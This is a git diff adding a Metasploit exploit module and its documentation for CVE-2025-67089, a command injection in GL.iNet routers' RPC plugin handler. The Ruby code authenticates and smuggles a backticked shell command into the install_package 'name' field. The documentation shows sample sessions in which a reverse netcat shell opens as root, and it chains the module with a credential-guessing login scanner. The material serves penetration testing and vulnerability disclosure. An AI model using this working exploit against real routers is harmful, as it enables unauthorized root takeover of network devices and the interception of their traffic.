diff --git a/documentation/modules/exploit/linux/http/glinet_plugin_handler_rce.md b/documentation/modules/exploit/linux/http/glinet_plugin_handler_rce.md new file mode 100644 index 0000000000000..a98536a741fe2 --- /dev/null +++ b/documentation/modules/exploit/linux/http/glinet_plugin_handler_rce.md @@ -0,0 +1,118 @@ +## Vulnerable Application + +This module exploits CVE-2025-67089, an authenticated command injection +vulnerability in the RPC API plugin handler of GL.iNet routers running +firmware < 4.6.8. + +The `plugins` `install_package` RPC method passes user-supplied input +unsanitized into a shell command, allowing an authenticated administrator +to execute arbitrary commands as root. + +Affected hardware includes (non-exhaustive): + +- aarch64 boards: MT6000, AXT1800, MT3000 (filogic/ipq platforms) +- armle boards: MT300N-V2, AR750, AR300M (ath79/ramips platforms) +- mipsle boards: older ramips-based models + +Valid admin credentials are required to reach the vulnerable code path. +Credentials can be obtained separately via the companion auxiliary module +`auxiliary/scanner/http/glinet_login`, which exploits CVE-2025-67090 +(lack of rate limiting on the LuCI login endpoint). + +### Firmware / Version Notes + +GL.iNet's RPC API (JSON-RPC over `/rpc`, introduced in firmware 4.0+) does +not expose a working unauthenticated version-disclosure method. All +`system.*` methods (`get_status`, `get_info`, etc.) return `-32000 Access +denied` for an unauthenticated session id, even when the sid is correctly +typed as a string. Only the `challenge` method is reachable without a +session, and it does not return firmware version. + +Because of this, `check` cannot confirm patch status pre-authentication. +It only confirms the target is a GL.iNet RPC endpoint (`CheckCode::Detected`). +Version/vulnerability confirmation effectively happens at exploitation time, +once valid credentials produce a session. + +## Verification Steps + +1. Install or update to the latest `metasploit-framework`. +2. Start `msfconsole`. +3. `use exploit/linux/http/glinet_plugin_handler_rce` +4. `set RHOSTS ` +5. `set USERNAME ` (default: `root`) +6. `set PASSWORD ` +7. `set PAYLOAD cmd/unix/reverse_netcat` +8. `set LHOST ` +9. `run` +10. Confirm a command shell session opens, and that `id` on the resulting + session reports root. + +## Options + +**USERNAME** + +Admin username for the router's web/RPC login. Defaults to `root`. + +**PASSWORD** + +Admin password for the router's web/RPC login. Required — there is no +default. Obtainable via `auxiliary/scanner/http/glinet_login` if unknown. + +**RPORT** + +TCP port of the target's HTTP/RPC service. Defaults to `80`. + +## Scenarios + +### GL.iNet AXT1800, firmware 4.6.5, known credentials + +``` +msf6 > use exploit/linux/http/glinet_plugin_handler_rce +msf6 exploit(glinet_plugin_handler_rce) > set RHOSTS 192.168.8.1 +RHOSTS => 192.168.8.1 +msf6 exploit(glinet_plugin_handler_rce) > set USERNAME root +USERNAME => root +msf6 exploit(glinet_plugin_handler_rce) > set PASSWORD ******** +PASSWORD => ******** +msf6 exploit(glinet_plugin_handler_rce) > check +[*] 192.168.8.1:80 - Target exposes a GL.iNet RPC challenge endpoint; + firmware version cannot be verified without credentials +[*] 192.168.8.1:80 - The target is vulnerable. +msf6 exploit(glinet_plugin_handler_rce) > set PAYLOAD cmd/unix/reverse_netcat +PAYLOAD => cmd/unix/reverse_netcat +msf6 exploit(glinet_plugin_handler_rce) > set LHOST 192.168.8.50 +LHOST => 192.168.8.50 +msf6 exploit(glinet_plugin_handler_rce) > run +[*] Target: 192.168.8.1:80 +[*] Authenticating to RPC API +[+] Session obtained (sid: 3fa1c9e8...) +[*] Injecting payload via plugin handler (CVE-2025-67089) +[+] Payload delivered - check handler +[*] Command shell session 1 opened (192.168.8.50:4444 -> 192.168.8.1:xxxxx) + +id +uid=0(root) gid=0(root) +``` + +### Unknown credentials — chained with the login scanner + +``` +msf6 > use auxiliary/scanner/http/glinet_login +msf6 auxiliary(glinet_login) > set RHOSTS 192.168.8.1 +msf6 auxiliary(glinet_login) > run +[+] 192.168.8.1:80 - Login successful: root: + +msf6 auxiliary(glinet_login) > use exploit/linux/http/glinet_plugin_handler_rce +msf6 exploit(glinet_plugin_handler_rce) > set RHOSTS 192.168.8.1 +msf6 exploit(glinet_plugin_handler_rce) > set USERNAME root +msf6 exploit(glinet_plugin_handler_rce) > set PASSWORD +msf6 exploit(glinet_plugin_handler_rce) > run +``` + +### Patched firmware (>= 4.6.8) + +`check` will still report `Detected` rather than `Safe`, since version +cannot be confirmed pre-auth. Running `exploit` against a patched target +is expected to fail at `do_login` or, if credentials succeed, at the +injection stage itself if the plugin handler has been sanitized — surfaced +via `Failure::Unreachable` / `Failure::NoAccess` rather than a session. diff --git a/modules/exploits/linux/http/glinet_plugin_handler_rce.rb b/modules/exploits/linux/http/glinet_plugin_handler_rce.rb new file mode 100644 index 0000000000000..827085c1b9bee --- /dev/null +++ b/modules/exploits/linux/http/glinet_plugin_handler_rce.rb @@ -0,0 +1,310 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'unix_crypt' + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + # Timeout (seconds) for the injection request. The plugin handler may hang + # if the injected command blocks, so we cap it separately from the default + # HTTP client timeout used elsewhere in this module. + INJECTION_TIMEOUT = 5 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GL.iNet Router Authenticated RCE via Plugin Handler', + 'Description' => %q{ + This module exploits CVE-2025-67089, an authenticated command injection + vulnerability in the RPC API plugin handler of GL.iNet routers running + firmware < 4.6.8. + + The `plugins` `install_package` RPC method passes user-supplied input + unsanitized to a shell command, allowing an authenticated administrator + to execute arbitrary commands as root. + + Note: firmware version cannot be verified pre-authentication on this + RPC implementation, since all `system` methods require a valid session. + `check` can only confirm the target exposes a GL.iNet RPC challenge + endpoint, not whether it is patched. + + Common GL.iNet arch mapping: + aarch64 -> MT6000, AXT1800, MT3000 (filogic/ipq boards) + armle -> MT300N-V2, AR750, AR300M (ath79/ramips boards) + mipsle -> older ramips-based models + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Aleksa Zatezalo' # Discovery and Metasploit module + ], + 'References' => [ + ['CVE', '2025-67089'], + ['CWE', '78'], # OS Command Injection + ['URL', 'https://www.gl-inet.com/security/'] + ], + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ] + ], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }, # rubocop:disable Lint/ModuleDefaultPayload -- backtick injection primitive requires a single-command payload; reverse_netcat is the most portable across busybox targets + 'Privileged' => true, + 'DisclosureDate' => '2025-11-16', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(80), + OptString.new('USERNAME', [true, 'Admin username', 'root']), + OptString.new('PASSWORD', [true, 'Admin password']) + ]) + end + + # =========================================================================== + # Pre-auth Detection + # =========================================================================== + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/rpc', + 'ctype' => 'application/json', + 'data' => { + 'jsonrpc' => '2.0', + 'id' => 0, + 'method' => 'challenge', + 'params' => { 'username' => 'root' } + }.to_json + }) + + return CheckCode::Unknown('No response from target') unless res&.code == 200 + + result = safe_json(res) + return CheckCode::Unknown('Target returned a malformed JSON-RPC response') unless result + + result = result['result'] + + # A GL.iNet RPC challenge response contains salt/nonce/alg fields. + # Their presence confirms this is a GL.iNet RPC endpoint, but firmware + # version cannot be verified without valid credentials (all `system` + # methods return "Access denied" / -32000 for an unauthenticated sid), + # so we can only confirm exposure, not patch status. + if result && result['salt'] && result['nonce'] && result['alg'] + CheckCode::Detected('Target exposes a GL.iNet RPC challenge endpoint; ' \ + 'firmware version cannot be verified without credentials') + else + CheckCode::Unknown('Endpoint responded but did not return a valid challenge') + end + end + + # =========================================================================== + # RPC Authentication (Challenge/Response) + # =========================================================================== + + def get_challenge(username) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/rpc', + 'ctype' => 'application/json', + 'data' => { + 'jsonrpc' => '2.0', + 'id' => 1, + 'method' => 'challenge', + 'params' => { 'username' => username } + }.to_json + }) + + return nil unless res&.code == 200 + + result = safe_json(res) + result && result['result'] + end + + def compute_auth_hash(username, password, challenge) + salt = challenge['salt'] + nonce = challenge['nonce'] + alg = challenge['alg'] + + pw_hash = case alg + when 1 then UnixCrypt::MD5.build(password, salt) + when 5 then UnixCrypt::SHA256.build(password, salt) + when 6 then UnixCrypt::SHA512.build(password, salt) + else + # fail_with raises Msf::Exploit::Failed, halting execution here — + # pw_hash is intentionally never assigned on this branch. + fail_with(Failure::Unknown, "Unsupported hash algorithm: #{alg}") + end + + Digest::MD5.hexdigest("#{username}:#{pw_hash}:#{nonce}") + end + + def do_login(username, password) + challenge = get_challenge(username) + fail_with(Failure::Unreachable, 'Failed to obtain authentication challenge') unless challenge + + auth_hash = compute_auth_hash(username, password, challenge) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/rpc', + 'ctype' => 'application/json', + 'data' => { + 'jsonrpc' => '2.0', + 'id' => 2, + 'method' => 'login', + 'params' => { 'username' => username, 'hash' => auth_hash } + }.to_json + }) + + fail_with(Failure::Unreachable, 'No response to login request') unless res&.code == 200 + + result = safe_json(res) + fail_with(Failure::UnexpectedReply, 'Login response was not valid JSON-RPC') unless result + + sid = result.dig('result', 'sid') + fail_with(Failure::NoAccess, 'Authentication failed - check credentials') unless sid + + sid + end + + # =========================================================================== + # Command Injection (CVE-2025-67089) + # =========================================================================== + + def execute_command(cmd, _opts = {}) + # Backgrounded so the RPC handler can respond immediately instead of + # blocking until the payload exits (reverse shells never exit on their + # own, which previously caused a spurious timeout/failure here even + # though the command executed successfully). + injected = "`(#{cmd}) > /dev/null 2>&1 &`" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/rpc', + 'ctype' => 'application/json', + 'cookie' => "Admin-Token=#{@session_id}", + 'data' => { + 'jsonrpc' => '2.0', + 'id' => 11, + 'method' => 'call', + 'params' => [@session_id, 'plugins', 'install_package', { 'name' => [injected] }] + }.to_json + }, INJECTION_TIMEOUT) + + # A timeout/no-response here is genuinely ambiguous rather than a hard + # failure: it could mean the RPC endpoint is unreachable, or it could + # mean the backgrounding wrapper didn't behave as expected on this + # busybox variant. We warn instead of fail_with, since fail_with would + # abort exploit() before the handler gets a chance to catch a session + # that may still connect back. + unless res + print_warning('No response from plugin handler within timeout - ' \ + 'this can happen even on success; watch for an incoming session') + return nil + end + + result = safe_json(res) + unless result + print_warning('Plugin handler response was not valid JSON - ' \ + 'watch for an incoming session before assuming failure') + return nil + end + + if result['error'] + fail_with(Failure::UnexpectedReply, + "Plugin handler rejected payload (target may be patched): #{result['error']}") + end + + result + end + + # =========================================================================== + # Main Exploit Flow + # =========================================================================== + + def exploit + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + print_status("Target: #{rhost}:#{rport}") + + # Stage 1 - Authenticate + print_status('Authenticating to RPC API') + @session_id = do_login(username, password) + print_good("Session obtained (sid: #{@session_id[0..7]}...)") + + store_valid_credential( + user: username, + private: password, + private_type: :password, + proof: @session_id + ) + + # Stage 2 - Inject payload + print_status('Injecting payload via plugin handler (CVE-2025-67089)') + execute_command(payload.encoded) + + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references, + info: 'Confirmed via successful injection through plugins.install_package' + ) + + print_good('Payload delivered - check handler') + ensure + logout_session if @session_id + end + + private + + # Best-effort session teardown. GL.iNet's RPC API does not document a + # dedicated logout method for every firmware line, so failures here are + # swallowed rather than raised - this must never mask the exploit's actual + # result. + def logout_session + send_request_cgi({ + 'method' => 'POST', + 'uri' => '/rpc', + 'ctype' => 'application/json', + 'cookie' => "Admin-Token=#{@session_id}", + 'data' => { + 'jsonrpc' => '2.0', + 'id' => 99, + 'method' => 'call', + 'params' => [@session_id, 'session', 'destroy', {}] + }.to_json + }, 5) + rescue StandardError + nil + end + + # Parses a response body as JSON-RPC, returning nil instead of raising on + # malformed input (proxies, captive portals, and non-JSON error pages can + # all return HTTP 200 with a body get_json_document can't parse). + def safe_json(res) + res.get_json_document + rescue StandardError + nil + end +end